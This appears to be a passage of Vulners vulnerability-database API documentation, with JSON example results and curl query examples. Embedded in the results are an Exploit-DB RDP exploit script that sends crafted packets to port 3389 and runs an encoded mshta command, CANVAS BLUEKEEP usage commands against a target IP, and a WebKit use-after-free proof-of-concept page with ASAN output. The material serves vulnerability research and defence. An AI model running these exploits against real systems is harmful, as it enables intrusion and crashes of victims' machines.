f+=\"\\x75\\x63\\x61\\x81\\x1c\\x01\\xc0\\xd8\"\r\nbuf+=\"\\x00\\x04\\x00\\x08\\x00\\x80\\x02\\xe0\"\r\nbuf+=\"\\x01\\x01\\xca\\x03\\xaa\\x09\\x04\\x00\"\r\nbuf+=\"\\x00\\xce\\x0e\\x00\\x00\\x48\\x00\\x4f\"# TPKT, Version 3, Lenght 12\r\nbuf+=\"\\x00\\x53\\x00\\x54\\x00\\x00\\x00\\x00\"\r\nbuf+=\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\r\nbuf+=\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\r\nbuf+=\"\\x00\\x00\\x00\\x00\\x00\\x04\\x00\\x00\"\r\nbuf+=\"\\x00\\x00\\x00\\x00\\x00\\x0c\\x00\\x00\"# TPKT, Version 8, Lenght 12\r\nbuf+=\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\r\nbuf+=\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\r\nbuf+=\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\r\nbuf+=\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"#nop\r\nbuf+=\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\r\nbuf+=\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\r\nbuf+=\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"#ITU-T Rec X.224\r\nbuf+=\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\r\nbuf+=\"\\x00\\x01\\xca\\x01\\x00\\x00\\x00\\x00\"\r\nbuf+=\"\\x00\\x10\\x00\\x07\\x00\\x01\\x00\\x30\"\r\nbuf+=\"\\x00\\x30\\x00\\x30\\x00\\x30\\x00\\x30\"\r\nbuf+=\"\\x00\\x2d\\x00\\x30\\x00\\x30\\x00\\x30\"#ITU-T Rec X.224\r\nbuf+=\"\\x00\\x2d\\x00\\x30\\x00\\x30\\x00\\x30\"\r\nbuf+=\"\\x00\\x30\\x00\\x30\\x00\\x30\\x00\\x30\"\r\nbuf+=\"\\x00\\x2d\\x00\\x30\\x00\\x30\\x00\\x30\"\r\nbuf+=\"\\x00\\x30\\x00\\x30\\x00\\x00\\x00\\x00\"\r\nbuf+=\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"#ITU-T Rec X.224\r\nbuf+=\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\r\nbuf+=\"\\x00\\x00\\x00\\x00\\x00\\x04\\xc0\\x0c\"\r\nbuf+=\"\\x00\\x0d\\x00\\x00\\x00\\x00\\x00\\x00\"\r\nbuf+=\"\\x00\\x02\\xc0\\x0c\\x00\\x1b\\x00\\x00\"\r\nbuf+=\"\\x00\\x00\\x00\\x00\\x00\\x03\\xc0\\x2c\"#ITU-T Rec X.224\r\nbuf+=\"\\x00\\x03\\x00\\x00\\x00\\x72\\x64\\x70\"\r\nbuf+=\"\\x64\\x72\\x00\\x00\\x00\\x00\\x00\\x80\"\r\nbuf+=\"\\x80\\x63\\x6c\\x69\\x70\\x72\\x64\\x72\"\r\nbuf+=\"\\x00\\x00\\x00\\xa0\\xc0\\x72\\x64\\x70\"\r\nbuf+=\"\\x73\\x6e\\x64\\x00\\x00\\x00\\x00\\x00\"\r\nbuf+=\"\\xc0\"\r\n\r\nbuf+=\"\\x03\\x00\\x00\\x0c\" # TPKT, Version 3, Lenght 12\r\nbuf+=\"\\x02\\xf0\\x80\"  # ITU-T Rec X.224\r\nbuf+=\"\\x04\\x01\\x00\\x01\\x00\" # MULTIPOINT-COMMUNICATION-SERVICE T.125\r\nbuf+=\"\\x03\\x00\\x00\\x08\" #TPKT, Version 3, Length 8\r\nbuf+=\"\\x02\\xf0\\x80\" # ITU-T Rec X.224\r\nbuf+=\"\\x28\" # MULTIPOINT-COMM-SERVICE T.125\r\nbuf+=\"\\x03\\x00\\x00\\x0c\" # TPKT, Version 3, Lenght 12\r\nbuf+=\"\\x02\\xf0\\x80\" # ITU-T Rec X.224\r\nbuf+=\"\\x38\\x00\\x06\\x03\\xef\" # MULTIPOINT-COMM-SERVICE T.125\r\nbuf+=\"\\x03\\x00\\x00\\x0c\" # TPKT, Version 3, Lenght 12\r\nbuf+=\"\\x02\\xf0\\x80\" #ITU-T Rec X.224\r\nbuf+=\"\\x38\\x00\\x06\\x03\\xeb\" # MULTIPOINT-COMM-SERVICE T.125\r\nbuf+=\"\\x03\\x00\\x00\\x0c\" # TPKT, Version 3, Lenght 12\r\nbuf+=\"\\x02\\xf0\\x80\" #ITU-T Rec X.224\r\nbuf+=\"\\x38\\x00\\x06\\x03\\xec\"# MULTIPOINT-COMM-SERVICE T.125\r\nbuf+=\"\\x03\\x00\\x00\\x0c\"  # TPKT, Version 3, Lenght 12\r\nbuf+=\"\\x02\\xf0\\x80\" #ITU-T Rec X.224\r\nbuf+=\"\\x38\\x00\\x06\\x03\\xed\"# MULTIPOINT-COMM-SERVICE T.125\r\nbuf+=\"\\x03\\x00\\x00\\x0c\" # TPKT, Version 3, Lenght 12\r\nbuf+=\"\\x02\\xf0\\x80\" #ITU-T Rec X.224\r\nbuf+=\"\\x38\\x00\\x06\\x03\\xee\"# MULTIPOINT-COMM-SERVICE T.125\r\nbuf+=\"\\x03\\x00\\x00\\x0b\" # TPKT, Version 3, Lenght 12\r\nbuf+=\"\\x06\\xd0\\x00\\x00\\x12\\x34\\x00\"  #ITU-T Rec X.224\r\nbuf2=\"\\x23\\x79\\x6F\\x75\\x20\\x70\\x6C\\x61\\x79\\x20\"\r\nbuf2+=\"\\x62\\x61\\x73\\x6B\\x65\\x74\\x62\\x61\\x6C\\x6C\"\r\nbuf2+=\"\\x20\\x6C\\x69\\x6B\\x65\\x20\\x63\\x61\\x69\\x78\"\r\nbuf2+=\"\\x75\\x6B\\x75\\x6E\\x23\";\r\nsc=\"\\x6D\\x73\\x68\\x74\\x61\\x20\\x76\\x62\\x73\\x63\" #shellcode\r\nsc+=\"\\x72\\x69\\x70\\x74\\x3A\\x6D\\x73\\x67\\x62\\x6F\"\r\nsc+=\"\\x78\\x28\\x22\\x79\\x6F\\x75\\x20\\x70\\x6C\\x61\"\r\nsc+=\"\\x79\\x20\\x62\\x61\\x73\\x6B\\x65\\x74\\x62\\x61\"\r\nsc+=\"\\x6C\\x6C\\x20\\x6C\\x69\\x6B\\x65\\x20\\x63\\x61\"\r\nsc+=\"\\x69\\x78\\x75\\x6B\\x75\\x6E\\x21\\x22\\x2C\\x36\"\r\nsc+=\"\\x34\\x2C\\x22\\x4B\\x38\\x67\\x65\\x67\\x65\\x3A\"\r\nsc+=\"\\x22\\x29\\x28\\x77\\x69\\x6E\\x64\\x6F\\x77\\x2E\"\r\nsc+=\"\\x63\\x6C\\x6F\\x73\\x65\\x29\";\r\n\r\nHOST = sys.argv[1]\r\nPORT = 3389\r\nprint \"Win2003 & Win2008 RDP POC\"\r\nprint \"Target: \"+HOST\r\nrecexec=buf\r\nfor i in range(8):\r\n\ttry:\r\n\t\t s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\r\n\t\t s.connect((HOST,PORT))\r\n\t\t print \"sending: %d bytes\" % len(buf)\r\n\t\t s.send(buf)\r\n\t\t rec = s.recv(100)\r\n\t\t recexec=sc\r\n\t\t print \"received: %d bytes\" % len(rec)\r\n\t\t s.close()\r\n\t\t print \"\"\r\n\texcept:\r\n\t\tif(platform.system()==\"Windows\"):\r\n\t\t\tos.system(recexec)",
        "cvss": {
            "score": 10.0,
            "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"
        },
        "sourceHref": "https://www.exploit-db.com/download/46904",
        "vhref": "https://vulners.com/exploitdb/EDB-ID:46904"
    },
    {
        "lastseen": "2020-09-02T20:28:40",
        "bulletinFamily": "exploit",
        "description": "**Name**|  BLUEKEEP  \n---|---  \n**CVE**|  CVE-2019-0708  \n**Exploit Pack**|  [CANVAS](<http://http://www.immunityinc.com/products-canvas.shtml>)  \n**Description**| BLUEKEEP - Remote command execution (RDP)  \n**Notes**| CVE Name: CVE-2019-0708  \nVENDOR: Microsoft  \nNOTES:   \n\\-- IMPORTANT --  \nThe module is currently in beta stage.  \n  \nIf you do not select \"Allow remote code execution\" from the module's dialog  \nit will simply test to see if the target is vulnerable (safe).  \n  \nThis module requires asn1tools to be installed (python) and can only run  \non Linux hosts for now (due to our use of ctypes).  \n  \nprompt-toolkit is an internal dependency of asn1tools, make sure to have a version  \non the 2.x branch, ideally 2.0.9. Any version on the 1.x branch should generate errors.  \nOur linux_installer has been updated to take care of these new dependencies.  \n  \nTested against:  \n\\- Windows 7 Ultimate N (x86) [SP1 only]  \n\\- Windows 7 Ultimate (x64) with 2, 4/8 GB of RAM [SP1 only]  \n\\- Windows 7 Enterprise (x64) with 2, 4/8 GB of RAM [SP1 only]  \n\\- Windows 7 Professional (x64) with 4GB of RAM [SP1 only]  \n  \nIn this new release we have included the ability to specify the amount of RAM for  \nthe target system which highly improves reliability and speed. This option is of  \ncourse optional, the module is fine-tuned as it is for what reported under  \n\"Tested against\". An incorrect value specified for the amount RAM can cause a BSOD  \non the target system.  \n  \nAn updated version of the exploit will soon handle more Windows versions.  \n  \nTo get a node on the CLI:  \n[TERMINAL #1]$ ./commandlineInterface.py -v 17 -p 5555  \n[TERMINAL #2]$ python2 exploits/remote/windows/BLUEKEEP/BLUEKEEP.py -t 192.168.1.9 -l 192.168.1.10 -d 5555  \n  \nRepeatability:   \nDate public:   \nCVE Url: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-0708  \nCVSS: 10.0  \n\n",
        "modified": "2019-05-16T19:29:00",
        "published": "2019-05-16T19:29:00",
        "id": "BLUEKEEP",
        "href": "http://exploitlist.immunityinc.com/home/exploitpack/CANVAS/BLUEKEEP",
        "title": "Immunity Canvas: BLUEKEEP",
        "type": "canvas",
        "cvss": {
            "score": 10.0,
            "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"
        },
        "vhref": "https://vulners.com/canvas/BLUEKEEP"
    }
]

Get vulnerabilities/exploits by software name and version

Vulnerabilities for software + version:

Query:

POST /api/v3/burp/software/

Query example:

curl -XPOST https://vulners.com/api/v3/burp/software/ -H  'Content-Type: application/json' -d '{
"software": "webkit2gtk", 
"version": "2.32.3-1", 
"type": "software", 
"maxVulnerabilities": 10,
"apiKey": "{API key}"
}'

results = vulners_api.get_software_vulnerabilities("webkit2gtk", "2.32.3-1")
exploit_list = results.get('exploit')
vulnerabilities_list = [results.get(key) for key in results if key not in ['info', 'blog', 'bugbounty']]
results = vulners_api.softwareVulnerabilities("webkit2gtk", "2.32.3-1")
exploit_list = results.get('exploit')
vulnerabilities_list = [results.get(key) for key in results if key not in ['info', 'blog', 'bugbounty']]
{
  "exploit": [
    {
      "id": "1337DAY-ID-38152",
      "type": "zdt",
      "bulletinFamily": "exploit",
      "title": "WebKit CSSCrossfadeValue::crossfadeChanged Use-After-Free Vulnerability",
      "description": "",
      "published": "2023-01-16T00:00:00",
      "modified": "2023-01-16T00:00:00",
      "cvss": {
        "score": 0.0,
        "vector": "NONE"
      },
      "cvss2": {},
      "cvss3": {
        "cvssV3": {
          "version": "3.1",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
          "attackVector": "NETWORK",
          "attackComplexity": "LOW",
          "privilegesRequired": "NONE",
          "userInteraction": "REQUIRED",
          "scope": "UNCHANGED",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "availabilityImpact": "HIGH",
          "baseScore": 8.8,
          "baseSeverity": "HIGH"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 5.9
      },
      "href": "https://0day.today/exploit/description/38152",
      "cvelist": [
        "CVE-2022-42867"
      ],
      "lastseen": "2023-05-02T17:22:46",
      "sourceHref": "https://0day.today/exploit/38152",
      "sourceData": "WebKit: Use-after-free of RenderMathMLToken in CSSCrossfadeValue::crossfadeChanged\n\nThere is a use-after-free of a RenderMathMLToken object in CSSCrossfadeValue::crossfadeChanged. \n\nCSSCrossfadeValue extends CSSImageGeneratorValue. CSSImageGeneratorValue keeps a HashCountedSet of clients (m_clients) of the image. The RenderMathMLToken object is one of these clients. When the RenderMathMLToken object is freed, I think it should be removed from the client list via RenderElement::willBeDestroyed, but this isn't occurring. CSSCrossfadeValue::crossfadeChanged will then iterate through the client list which includes the dangling pointer to the RenderMathMLToken object, thus causing the use-after-free.  \n\nVulnerability confirmed on ASAN build of WebKit on OSX and WebkitGTK as of commit fe4b1d3bf61e8999ccd68da789905e92f8ffc9e3\n\n=================\nProof of Concept \n=================\n<!-- saved from url=(0014)about:internet -->\n<html>\n<style>\n  .class1 { shape-outside: url(data:image/gif;base64,R0lGODlhEAAQAMQAAORHHOVSKudfOulrSOp3WOyDZu6QdvCchPGolfO0o/XBs/fNwfjZ0frl3/zy7////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAkAABAALAAAAAAQABAAAAVVICSOZGlCQAosJ6mu7fiyZeKqNKToQGDsM8hBADgUXoGAiqhSvp5QAnQKGIgUhwFUYLCVDFCrKUE1lBavAViFIDlTImbKC5Gm2hB0SlBCBMQiB0UjIQA7); }\n  msub::first-line { background-image: cross-fade(url(abc), url(data:image/gif;base64,R0lGODlhEAAQAMQAAORHHOVSKudfOulrSOp3WOyDZu6QdvCchPGolfO0o/XBs/fNwfjZ0frl3/zy7////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAkAABAALAAAAAAQABAAAAVVICSOZGlCQAosJ6mu7fiyZeKqNKToQGDsM8hBADgUXoGAiqhSvp5QAnQKGIgUhwFUYLCVDFCrKUE1lBavAViFIDlTImbKC5Gm2hB0SlBCBMQiB0UjIQA7), 50%);  }\n</style>\n<script>\n  function trigger() {\n    document.getElementsByTagName(\\\"style\\\")[0].appendChild(document.createElement(\\\"a\\\")); \n    setTimeout( () => {\n      msubEle.prepend(\\\"1\\\");\n      mathEle.focus() // This can be a few different calls. setSelectionRange also worked\n      mathEle.remove();\n    }, 0);\n  }\n</script>\n<body onload=trigger()>\n  <math id=\\\"mathEle\\\" class=\\\"class1\\\">\n    <msub id=\\\"msubEle\\\">\n      <mi></mi>\n    </msub>\n  </math>\n</body>\n</html>\n===================\nASAN\n===================\n=================================================================\n==704==ERROR: AddressSanitizer: heap-use-after-free on address 0x6110000cc8c0 at pc 0x0001595e72c0 bp 0x7ff7b3b162f0 sp 0x7ff7b3b162e8\nREAD of size 8 at 0x6110000cc8c0 thread T0\n==704==WARNING: failed to spawn external symbolizer (errno: 2)\n==704==WARNING: Failed to use and restart external symbolizer!\n    #0 0x1595e72bf in WebCore::CSSCrossfadeValue::crossfadeChanged()+0x28f (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x35412bf)\n    #1 0x1595e7018 in WebCore::CSSCrossfadeValue::SubimageObserver::imageChanged(WebCore::CachedImage*, WebCore::IntRect const*)+0x28 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3541018)\n    #2 0x15aae8504 in WebCore::CachedImage::notifyObservers(WebCore::IntRect const*)+0x114 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x4a42504)\n    #3 0x15aaeb6ad in WebCore::CachedImage::finishLoading(WebCore::FragmentedSharedBuffer const*, WebCore::NetworkLoadMetrics const&)+0x1cd (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x4a456ad)\n    #4 0x15aa664ef in WebCore::SubresourceLoader::didFinishLoading(WebCore::NetworkLoadMetrics const&)+0x62f (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x49c04ef)\n    #5 0x15aa5ab0e in auto WebCore::ResourceLoader::loadDataURL()::$_3::operator()<std::__1::optional<WebCore::DataURLDecoder::Result> >(std::__1::optional<WebCore::DataURLDecoder::Result>)::'lambda'()::operator()() const+0x20e (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x49b4b0e)\n    #6 0x15aa5a7ec in WTF::Detail::CallableWrapper<auto WebCore::ResourceLoader::loadDataURL()::$_3::operator()<std::__1::optional<WebCore::DataURLDecoder::Result> >(std::__1::optional<WebCore::DataURLDecoder::Result>)::'lambda'(), void>::call()+0xc (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x49b47ec)\n    #7 0x1560c728e in WTF::Function<void ()>::operator()() const+0x3e (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2128e)\n    #8 0x15613e34e in WTF::CompletionHandler<void ()>::operator()()+0xbe (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x9834e)\n    #9 0x1584adc9a in WTF::CompletionHandlerCallingScope::~CompletionHandlerCallingScope()+0x1a (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2407c9a)\n    #10 0x1584a37f8 in WTF::CompletionHandlerCallingScope::~CompletionHandlerCallingScope()+0x8 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x23fd7f8)\n    #11 0x15aa76111 in WebCore::SubresourceLoader::didReceiveResponse(WebCore::ResourceResponse const&, WTF::CompletionHandler<void ()>&&)::$_9::~$_9()+0x11 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x49d0111)\n    #12 0x15aa6af98 in WebCore::SubresourceLoader::didReceiveResponse(WebCore::ResourceResponse const&, WTF::CompletionHandler<void ()>&&)::$_9::~$_9()+0x8 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x49c4f98)\n    #13 0x15aa81ff4 in WTF::Detail::CallableWrapper<WebCore::SubresourceLoader::didReceiveResponse(WebCore::ResourceResponse const&, WTF::CompletionHandler<void ()>&&)::$_9, void>::~CallableWrapper()+0x34 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x49dbff4)\n    #14 0x15aa81ea8 in WTF::Detail::CallableWrapper<WebCore::SubresourceLoader::didReceiveResponse(WebCore::ResourceResponse const&, WTF::CompletionHandler<void ()>&&)::$_9, void>::~CallableWrapper()+0x8 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x49dbea8)\n    #15 0x15aa81ebd in WTF::Detail::CallableWrapper<WebCore::SubresourceLoader::didReceiveResponse(WebCore::ResourceResponse const&, WTF::CompletionHandler<void ()>&&)::$_9, void>::~CallableWrapper()+0xd (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x49dbebd)\n    #16 0x1560c7659 in std::__1::default_delete<WTF::Detail::CallableWrapperBase<void> >::operator()(WTF::Detail::CallableWrapperBase<void>*) const+0x39 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x21659)\n    #17 0x1560c75fc in std::__1::unique_ptr<WTF::Detail::CallableWrapperBase<void>, std::__1::default_delete<WTF::Detail::CallableWrapperBase<void> > >::reset(WTF::Detail::CallableWrapperBase<void>*)+0x3c (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x215fc)\n    #18 0x1560c75b8 in std::__1::unique_ptr<WTF::Detail::CallableWrapperBase<void>, std::__1::default_delete<WTF::Detail::CallableWrapperBase<void> > >::~unique_ptr()+0x8 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x215b8)\n    #19 0x1560c75a8 in std::__1::unique_ptr<WTF::Detail::CallableWrapperBase<void>, std::__1::default_delete<WTF::Detail::CallableWrapperBase<void> > >::~unique_ptr()+0x8 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x215a8)\n    #20 0x1560c7598 in WTF::Function<void ()>::~Function()+0x8 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x21598)\n    #21 0x1560c7588 in WTF::Function<void ()>::~Function()+0x8 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x21588)\n    #22 0x15613e356 in WTF::CompletionHandler<void ()>::operator()()+0xc6 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x98356)\n    #23 0x1584adc9a in WTF::CompletionHandlerCallingScope::~CompletionHandlerCallingScope()+0x1a (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2407c9a)\n    #24 0x1584a37f8 in WTF::CompletionHandlerCallingScope::~CompletionHandlerCallingScope()+0x8 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x23fd7f8)\n    #25 0x15aa41f91 in WebCore::ResourceLoader::didReceiveResponse(WebCore::ResourceResponse const&, WTF::CompletionHandler<void ()>&&)+0x5f1 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x499bf91)\n    #26 0x15aa69b26 in WebCore::SubresourceLoader::didReceiveResponse(WebCore::ResourceResponse const&, WTF::CompletionHandler<void ()>&&)+0x1646 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x49c3b26)\n    #27 0x15aa59d5f in auto WebCore::ResourceLoader::loadDataURL()::$_3::operator()<std::__1::optional<WebCore::DataURLDecoder::Result> >(std::__1::optional<WebCore::DataURLDecoder::Result>)+0x50f (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x49b3d5f)\n    #28 0x15aa596cd in WTF::Detail::CallableWrapper<WebCore::ResourceLoader::loadDataURL()::$_3, void, std::__1::optional<WebCore::DataURLDecoder::Result> >::call(std::__1::optional<WebCore::DataURLDecoder::Result>)+0xcd (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x49b36cd)\n    #29 0x15b6367d2 in WTF::Function<void (std::__1::optional<WebCore::DataURLDecoder::Result>)>::operator()(std::__1::optional<WebCore::DataURLDecoder::Result>) const+0x102 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x55907d2)\n    #30 0x15b636655 in WebCore::DataURLDecoder::decode(WTF::URL const&, WebCore::DataURLDecoder::ScheduleContext const&, WebCore::DataURLDecoder::Mode, WTF::Function<void (std::__1::optional<WebCore::DataURLDecoder::Result>)>&&)::$_0::operator()()::'lambda'()::operator()()+0xc5 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x5590655)\n    #31 0x15b63650c in WTF::Detail::CallableWrapper<WebCore::DataURLDecoder::decode(WTF::URL const&, WebCore::DataURLDecoder::ScheduleContext const&, WebCore::DataURLDecoder::Mode, WTF::Function<void (std::__1::optional<WebCore::DataURLDecoder::Result>)>&&)::$_0::operator()()::'lambda'(), void>::call()+0xc (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x559050c)\n    #32 0x13b7b704e in WTF::Function<void ()>::operator()() const+0x3e (/Users/hacksonmacs/WebKit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x4004e)\n    #33 0x13b87f0f4 in WTF::RunLoop::dispatch(WTF::HashSet<WTF::RefPtr<WTF::SchedulePair, WTF::RawPtrTraits<WTF::SchedulePair>, WTF::DefaultRefDerefTraits<WTF::SchedulePair> >, WTF::SchedulePairHash, WTF::HashTraits<WTF::RefPtr<WTF::SchedulePair, WTF::RawPtrTraits<WTF::SchedulePair>, WTF::DefaultRefDerefTraits<WTF::SchedulePair> > >, WTF::HashTableTraits> const&, WTF::Function<void ()>&&)::$_0::operator()(__CFRunLoopTimer*, void*) const+0xe4 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1080f4)\n    #34 0x13b87f008 in WTF::RunLoop::dispatch(WTF::HashSet<WTF::RefPtr<WTF::SchedulePair, WTF::RawPtrTraits<WTF::SchedulePair>, WTF::DefaultRefDerefTraits<WTF::SchedulePair> >, WTF::SchedulePairHash, WTF::HashTraits<WTF::RefPtr<WTF::SchedulePair, WTF::RawPtrTraits<WTF::SchedulePair>, WTF::DefaultRefDerefTraits<WTF::SchedulePair> > >, WTF::HashTableTraits> const&, WTF::Function<void ()>&&)::$_0::__invoke(__CFRunLoopTimer*, void*)+0x8 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x108008)\n    #35 0x7ff80c3a1f68 in __CFRUNLOOP_IS_CALLING_OUT_TO_A_TIMER_CALLBACK_FUNCTION__+0x13 (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x98f68)\n    #36 0x7ff80c3a1a57 in __CFRunLoopDoTimer+0x39a (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x98a57)\n    #37 0x7ff80c3a15c7 in __CFRunLoopDoTimers+0x132 (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x985c7)\n    #38 0x7ff80c387cd5 in __CFRunLoopRun+0x7d9 (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x7ecd5)\n    #39 0x7ff80c386e3b in CFRunLoopRunSpecific+0x231 (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x7de3b)\n    #40 0x7ff80d1e4d49 in -[NSRunLoop(NSRunLoop) runMode:beforeDate:]+0xd7 (/System/Library/Frameworks/Foundation.framework/Versions/C/Foundation:x86_64+0x5fd49)\n    #41 0x7ff80d26f796 in -[NSRunLoop(NSRunLoop) run]+0x4b (/System/Library/Frameworks/Foundation.framework/Versions/C/Foundation:x86_64+0xea796)\n    #42 0x7ff80c00a815 in _xpc_objc_main+0x304 (/usr/lib/system/libxpc.dylib:x86_64+0x15815)\n    #43 0x7ff80c00a238 in xpc_main+0x62 (/usr/lib/system/libxpc.dylib:x86_64+0x15238)\n    #44 0x129c6d1de in WebKit::XPCServiceMain(int, char const**)+0x27e (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0xf121de)\n    #45 0x12c0ce6f8 in WKXPCServiceMain+0x8 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x33736f8)\n    #46 0x10c3e8ea8 in main+0x8 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/com.apple.WebKit.WebContent.xpc/Contents/MacOS/com.apple.WebKit.WebContent.Development:x86_64+0x100003ea8)\n    #47 0x11629d52d  (/usr/lib/dyld:x86_64+0x552d)\n\n0x6110000cc8c0 is located 0 bytes inside of 256-byte region [0x6110000cc8c0,0x6110000cc9c0)\nfreed by thread T0 here:\n    #0 0x10c872b66 in __sanitizer_mz_free+0x86 (/Users/hacksonmacs/Downloads/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/clang/14.0.0/lib/darwin/libclang_rt.asan_osx_dynamic.dylib:x86_64h+0x4bb66)\n    #1 0x13b9fb324 in bmalloc::DebugHeap::free(void*)+0x24 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x284324)\n    #2 0x13b9fbc53 in pas_debug_heap_free+0x33 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x284c53)\n    #3 0x13b9f503c in bmalloc_heap_config_specialized_try_deallocate_not_small_exclusive_segregated+0x5dc (/Users/hacksonmacs/WebKit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x27e03c)\n    #4 0x13ba0414f in bmalloc::api::isoDeallocate(void*)+0x3df (/Users/hacksonmacs/WebKit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x28d14f)\n    #5 0x15bbcaecb in bmalloc::api::IsoHeap<WebCore::RenderMathMLToken>::deallocate(void*)+0xb (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x5b24ecb)\n    #6 0x15bbcaeb2 in WebCore::RenderMathMLToken::operator delete(void*)+0x12 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x5b24eb2)\n    #7 0x15bbdb175 in WebCore::RenderMathMLToken::~RenderMathMLToken()+0x15 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x5b35175)\n    #8 